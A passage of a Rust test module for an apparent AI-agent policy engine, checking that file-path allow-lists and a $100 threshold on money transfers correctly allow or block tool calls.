1182 let rule = PathProtectionRule {
1183 protected: vec![],
1184 workspace_only: true,
1185 tool_allowed_paths: vec![std::path::PathBuf::from(vault_base)],
1186 };
1187 let ctx = PolicyContext {
1188 authority: InputAuthority::Creator,
1189 survival_tier: SurvivalTier::Normal,
1190 claim: None,
1191 };
1192
1193 let vault = ToolCallRequest {
1195 tool_name: "read_file".into(),
1196 params: serde_json::json!({ "path": vault_path }),
1197 risk_level: RiskLevel::Safe,
1198 };
1199 assert!(
1200 rule.evaluate(&vault, &ctx).is_allowed(),
1201 "tool_allowed_paths should whitelist configured paths"
1202 );
1203
1204 let other = ToolCallRequest {
1206 tool_name: "read_file".into(),
1207 params: serde_json::json!({ "path": other_path }),
1208 risk_level: RiskLevel::Safe,
1209 };
1210 assert!(
1211 !rule.evaluate(&other, &ctx).is_allowed(),
1212 "absolute paths not in tool_allowed_paths should still be blocked"
1213 );
1214
1215 let tmp = ToolCallRequest {
1217 tool_name: "write_file".into(),
1218 params: serde_json::json!({ "path": "/tmp/output.txt" }),
1219 risk_level: RiskLevel::Safe,
1220 };
1221 assert!(
1222 rule.evaluate(&tmp, &ctx).is_allowed(),
1223 "/tmp always allowed regardless of whitelist"
1224 );
1225 }
1226
1227 #[test]
1228 fn path_protection_from_config_includes_tool_allowed_paths() {
1229 let cfg = roboticus_core::config::FilesystemSecurityConfig {
1230 workspace_only: true,
1231 protected_paths: vec![],
1232 extra_protected_paths: vec![],
1233 script_fs_confinement: true,
1234 script_allowed_paths: vec![],
1235 tool_allowed_paths: vec![std::path::PathBuf::from("/opt/shared")],
1236 };
1237 let rule = PathProtectionRule::from_config(&cfg);
1238 assert_eq!(rule.tool_allowed_paths.len(), 1);
1239 assert_eq!(
1240 rule.tool_allowed_paths[0],
1241 std::path::PathBuf::from("/opt/shared")
1242 );
1243 }
1244
1245 #[test]
1246 fn financial_rule_blocks_float_amount() {
1247 let rule = FinancialRule::new(100.0);
1249 let ctx = PolicyContext {
1250 authority: InputAuthority::Creator,
1251 survival_tier: SurvivalTier::Normal,
1252 claim: None,
1253 };
1254
1255 let float_high = ToolCallRequest {
1256 tool_name: "transfer".into(),
1257 params: serde_json::json!({ "amount": 150.50 }),
1258 risk_level: RiskLevel::Safe,
1259 };
1260 assert!(
1261 !rule.evaluate(&float_high, &ctx).is_allowed(),
1262 "float amount $150.50 should be blocked by $100 threshold"
1263 );
1264
1265 let float_low = ToolCallRequest {
1266 tool_name: "send".into(),
1267 params: serde_json::json!({ "amount": 50.0 }),
1268 risk_level: RiskLevel::Safe,
1269 };
1270 assert!(
1271 rule.evaluate(&float_low, &ctx).is_allowed(),
1272 "float amount $50.00 should be allowed under $100 threshold"
1273 );
1274
1275 let int_high = ToolCallRequest {
1277 tool_name: "transfer".into(),
1278 params: serde_json::json!({ "amount": 150 }),
1279 risk_level: RiskLevel::Safe,
1280 };
1281 assert!(
1282 !rule.evaluate(&int_high, &ctx).is_allowed(),
1283 "integer amount $150 should be blocked by $100 threshold"
1284 );
1285 }
1286}